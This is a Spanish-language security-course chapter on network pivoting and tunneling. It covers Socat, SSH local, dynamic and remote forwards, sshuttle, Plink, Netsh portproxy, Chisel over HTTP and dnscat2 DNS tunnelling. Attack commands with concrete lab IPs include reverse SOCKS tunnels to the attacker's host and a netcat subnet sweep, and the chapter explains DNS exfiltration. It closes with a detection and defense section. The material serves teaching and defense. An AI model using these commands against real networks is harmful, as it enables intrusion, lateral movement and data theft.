3.13 · Pivoting y tunneling

Panorama#

Un foothold rara vez cae donde interesa. El compromiso inicial suele aterrizar en un host expuesto —un servidor web en la DMZ, una aplicación de cara a internet— y el objetivo vive en un segmento interno que no rutea hacia el atacante: bases de datos, controladores de dominio, estaciones de administración. El pivoting es el arte de tomar prestada la posición de red del host comprometido para alcanzar lo que no se puede rutear directamente, usándolo como pivote (pivot) que reenvía o encapsula el tráfico. Es el sustrato operativo del movimiento lateral: la tubería por la que después viajan el Pass-the-Hash y el Pass-the-Ticket (4.8) y por la que un C2 (3.10) llega a un host sin salida propia. La segmentación de red existe precisamente para impedir esto —todo este capítulo presupone que las redes no son planas—, y por eso el pivoting es una escalada continua contra controles cada vez más finos.

Conviene separar dos primitivas. El port forwarding redirige los paquetes de un socket a otro —un puerto local del pivote reenvía a un host:puerto interno—. El tunneling va más allá: encapsula un flujo dentro de otro protocolo, típicamente dentro de SSH, de modo que el transporte cifra y disfraza lo que lleva. La diferencia importa porque determina contra qué control sirve cada técnica.

La tesis que ordena el capítulo es que la pregunta que gobierna el árbol de técnicas se endurece por capas. Al principio es «¿puedo alcanzarlo?» —un problema de rutas y de firewall por IP y puerto—, y la responde la dirección del tráfico: dónde deja el firewall que escuche el puerto. Cuando el perímetro sube a inspección de contenido —Deep Packet Inspection, DPI—, la pregunta se vuelve «¿con qué forma?», y ya no basta iniciar la conexión desde adentro: el túnel tiene que parecerse al protocolo permitido. Cada capa de control estrecha la forma que el túnel puede adoptar, y el atacante escala el disfraz para igualarla —de un forward SSH a un túnel HTTP a una resolución DNS—. En términos de MITRE ATT&CK el capítulo cubre T1090 (Proxy), T1572 (Protocol Tunneling), T1071.001 y T1071.004 (Application Layer Protocol: Web y DNS) y T1048 (Exfiltration Over Alternative Protocol).

flowchart TD
  Q{"¿Qué control hay en el camino?"} -->|"firewall por IP/puerto,\nentrada permitida"| L["SSH -L / -D\n(escucha en el pivote)"]
  Q -->|"firewall por IP/puerto,\nsolo salida"| R["SSH -R / remote dynamic\n(escucha en el atacante)"]
  Q -->|"DPI mata SSH,\ndeja HTTP"| CH["Chisel\n(túnel sobre HTTP/WebSocket)"]
  Q -->|"ni HTTP sale,\nsolo resuelve DNS"| DN["dnscat2\n(túnel sobre DNS)"]
  L & R & CH & DN --> S["SOCKS + Proxychains\n= un puerto → toda la subred"]
  S --> N["→ enum del nuevo segmento\n→ movimiento lateral (4.8)"]

El pivote y el ciclo incremental#

El pivoting es mecánicamente repetible: enumerar → afianzar → reenviar, capa tras capa. Tras comprometer un host —en el laboratorio de referencia, un servidor Confluence por la ejecución remota OGNL de CVE-2022-26134— se enumeran sus interfaces y rutas (ip addr, ip route) para descubrir una segunda subred a la que ese host sí llega; se barre con un bucle simple cuando no hay escáner instalado (for i in $(seq 1 254); do nc -zv -w 1 10.4.50.$i 445; done); y se monta el reenvío hacia el nuevo objetivo. Cada host descubierto expande el diagrama, y los reenvíos se componen —un Socat sobre un forward SSH sobre un Netsh—, lo que vuelve la topología difícil de seguir para el defensor pero trivial de encadenar para el atacante.

La forma más simple del reenvío es Socat en un pivote Linux: abre un puerto local y manda todo a un socket interno. Con eso, Kali alcanza un PostgreSQL que no ruteaba, como si el puerto viviera en el propio pivote.

Si no hay Socat, el mismo efecto se logra con rinetd, con Netcat más un named pipe FIFO, o con iptables y el reenvío de kernel (echo 1 > /proc/sys/net/ipv4/conf/<iface>/forwarding, que exige root). Pero Socat solo cruza el límite; no cifra ni disimula. Para eso está SSH.

SSH tunneling: la dirección del firewall decide la técnica#

La observación central del reenvío por firewall es que el tráfico de entrada se filtra mucho más agresivamente que el de salida. Casi ningún perímetro permite conectar a un puerto que uno abra en el pivote, pero casi todos dejan que el pivote inicie una conexión hacia afuera. Esa asimetría reparte las cuatro variantes de SSH.

• Local (-L). El puerto de escucha vive en el cliente SSH —el pivote— y reenvía a un solo destino. Sirve cuando no hay firewall de entrada que estorbe: ssh -N -L 0.0.0.0:4455:172.16.50.217:445 admin@10.4.50.215 expone el SMB de un tercer host en el puerto 4455 del pivote (-N no abre shell; ss -ntplu confirma la escucha).
• Dynamic (-D). Abre un proxy SOCKS en el cliente, y ahí está el salto conceptual: el reenvío local o remoto lleva a un destino por conexión, tedioso para escanear; el SOCKS convierte «un puerto = un destino» en «un puerto = toda la red» que el servidor SSH pueda rutear. El precio es que la herramienta debe hablar SOCKS; como smbclient y Nmap no lo hacen, se antepone Proxychains, que engancha las funciones de red de libc por LD_PRELOAD —un truco que solo funciona sobre binarios enlazados dinámicamente—. Sobre SOCKS, Nmap va siempre en modo connect (-sT, nunca -sS).
• Remote (-R). El puerto de escucha vive en el servidor SSH, que aquí es la máquina del atacante. Es la técnica de facto en el mundo real: cuando el firewall bloquea la entrada pero permite la salida, el pivote hace SSH hacia Kali y liga el puerto allí. Se comporta como un reverse shell, pero de reenvío de puertos: la conexión nace desde adentro. ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.118.4 publica el PostgreSQL interno en el loopback de Kali.
• Remote dynamic (-R <port>). Combina las dos anteriores: un SOCKS ligado al lado del atacante, iniciado desde adentro (OpenSSH ≥ 7.6). Un solo ssh -N -R 9998 kali@192.168.118.4 y todo el segmento queda accesible por Proxychains apuntando al loopback de Kali.

Por encima de las variantes, sshuttle convierte SSH en algo parecido a una VPN, ruteando subredes enteras de forma transparente (sshuttle -r admin@pivote:2222 10.4.50.0/24 172.16.50.0/24), sin -p ni Proxychains, a costa de root en el cliente y Python en el servidor.

Pivoting en Windows#

En Windows la elección depende de qué sobreviva en el host comprometido, en tres caminos de sigilo decreciente. Si el ssh.exe nativo está presente (desde Windows 10 1803, en %systemdrive%\Windows\System32\OpenSSH), se hace remote dynamic igual que en Linux: ssh -N -R 9998 kali@192.168.118.4. Si el administrador lo quitó, se sube Plink —el cliente de línea de comandos de PuTTY—, que es covert porque es herramienta legítima de administradores y el AV rara vez la marca, aunque no soporta remote dynamic; un shell sin TTY que no puede aceptar la clave de host se resuelve con cmd.exe /c echo y | plink.exe .... Y si se tiene administrador y consola, Netsh ofrece reenvío nativo sin binarios extra (netsh interface portproxy add v4tov4 ...), a costa de tener que abrir explícitamente el Firewall de Windows (netsh advfirewall firewall add rule ..., porque el puerto sale filtered hasta entonces) y de acordarse de borrar la regla al terminar —un rastro que, si se olvida, queda como evidencia—.

Tunneling a través de DPI#

Cuando el perímetro no filtra solo por IP y puerto sino que inspecciona el contenido y termina todo lo que no sea, por ejemplo, HTTP, las técnicas anteriores fallan: un reverse shell o un forward SSH se cortan porque no tienen forma de HTTP. La pregunta ya no es si se puede salir, sino con qué forma, y el túnel debe disfrazarse del protocolo permitido.

La primera vía es Chisel, que es «un remote dynamic forward, pero en HTTP». Un único binario (cliente o servidor según el primer argumento, cómodo para desplegar cross-platform) encapsula el flujo dentro de HTTP/WebSocket y lo cifra con SSH por dentro. En Kali se arranca chisel server --port 8080 --reverse; en el pivote, subido por web shell, chisel client 192.168.118.4:8080 R:socks monta un SOCKS reverso (puerto 1080 en Kali) —el mismo patrón -R socks, pero todo el tráfico es HTTP que cruza el DPI—. Como SSH no tiene opción SOCKS nativa, se lo pasa por el túnel con ProxyCommand más Ncat:

La segunda vía es dnscat2, para cuando ni siquiera HTTP sale. Su fundamento es que una consulta DNS de un host interno se resuelve recursivamente hacia afuera aunque el host no tenga ninguna otra conectividad: la query recorre el resolver → root → TLD → el servidor autoritativo que controla el atacante. Sobre ese hecho se construye un canal encubierto sin ninguna conexión TCP directa: los datos a exfiltrar viajan codificados como subdominios (<hex>.dominio-atacante), y los datos a infiltrar vuelven en registros TXT (o CNAME/MX). dnscat2 automatiza todo esto en un C2 completo —sesiones cifradas, verificación por auth-string contra el MITM, y un comando listen que hace reenvío de puertos TCP sobre el túnel DNS, equivalente a ssh -L—. El precio es el sigilo: DNS tunneling es lento y nada discreto, una ráfaga de cientos de consultas TXT/CNAME/MX a un dominio inusual; su contenido va cifrado, pero su volumen y su patrón gritan.

Defensa y detección#

El pivoting no cifra su intención: cruzar segmentos deja rastro en el proceso, en la configuración del host y en la red. La detección ataca los tres planos, y la postura estructural es la que de verdad lo contiene.

• Procesos y binarios anómalos. socat, chisel, plink.exe o ssh.exe corriendo en un servidor que no los usa —una base de datos, un servidor web— es en sí una señal, y la línea de comandos lo confirma: los argumentos -R / -D / -L, los sockets 0.0.0.0:<puerto>, el R:socks de Chisel. Se capturan con auditoría de línea de comandos (Sysmon 1 / Event ID 4688) y con la relación padre-hijo anómala.
• Configuración del host. netsh interface portproxy add y netsh advfirewall firewall add rule en la línea de comandos son una señal fuerte de pivoting nativo en Windows; conviene auditar la creación de reglas de firewall y la clave de registro HKLM\SYSTEM\CurrentControlSet\Services\PortProxy. Un puerto de escucha alto recién aparecido (ss / netstat en la caza) apunta a lo mismo.
• Conexiones de red inesperadas. Un servidor interno que inicia SSH saliente a una IP externa (el remote forward) es anómalo por definición. El túnel HTTP de Chisel deja huella pese al cifrado: el User-Agent Go-http-client/1.1, la cabecera Sec-WebSocket-Protocol: chisel-v3 y las peticiones de upgrade a WebSocket hacia IPs externas raras. Y el DNS tunneling de dnscat2 se delata por el volumen de consultas TXT/CNAME/MX a un único dominio de segundo nivel, los subdominios de alta entropía (hex/base32), un ratio elevado de NXDOMAIN y longitudes o frecuencias fuera de norma —la misma firma de entropía DNS que ya marcaban 3.10 y 3.12—.
• Postura estructural. La contramedida de fondo es la que da sentido a todo el capítulo: segmentación real (las técnicas de pivoting existen porque las redes planas no oponen resistencia), egress filtering estricto por host (limitar SSH, DNS y HTTP salientes; forzar todo el DNS por resolvers internos que registran y detectan túneles), inspección TLS/HTTP donde sea viable, baselining de dominios y de volumen de consultas por host, y alertas del EDR sobre binarios de tunneling.

Toda esta telemetría se correlaciona en el SIEM —el binario de túnel, la regla de firewall, el SSH saliente inesperado, la ráfaga DNS— como una sola historia de movimiento lateral, no como eventos sueltos; la caza de pivoting y lateral del lado blue se desarrolla en la detección de movimiento lateral en el SIEM (P5), y la correlación con la telemetría de Active Directory —donde el pivote habilita el Pass-the-Hash y Pass-the-Ticket (4.8)— en 4.9 · Defensa de AD.

flowchart TD
  P["Pivoting / tunneling\n(cruzar un segmento)"] --> B["Binario de túnel\n(socat / chisel / plink · Sysmon 1/4688)"]
  P --> C["Config del host\n(netsh portproxy · regla de firewall)"]
  P --> H["HTTP tunnel\n(Go-http-client · chisel-v3 · WebSocket)"]
  P --> D["DNS tunnel\n(entropía / volumen / NXDOMAIN)"]
  B & C & H & D --> X["Correlación SIEM\n= una historia de lateral"]
  X --> R["→ detección de lateral (P5)\n→ segmentación · egress filtering · inspección TLS"]

Referencias#

• red-infra/pen200/cap-03 — Port Redirection and SSH Tunneling: las dos primitivas (forward vs tunneling), Socat en el pivote, las cuatro variantes de SSH (-L/-D/-R/remote dynamic) con la regla «la dirección del firewall decide la técnica», SOCKS + Proxychains, sshuttle, y el pivoting en Windows (ssh.exe nativo, Plink, Netsh portproxy).
• red-infra/pen200/cap-04 — Tunneling Through Deep Packet Inspection: por qué el DPI rompe los forwards del cap-03, Chisel (reverse SOCKS sobre HTTP/WebSocket + ProxyCommand/Ncat para el propio SSH) y dnscat2 (el mecanismo del DNS tunneling —exfil por subdominio, infil por TXT— y su automatización como C2 con listen para el reenvío TCP sobre DNS).
• MITRE ATT&CK — T1090 Proxy, T1572 Protocol Tunneling y T1071.004 DNS; los repositorios de Chisel y dnscat2 como referencia de las herramientas.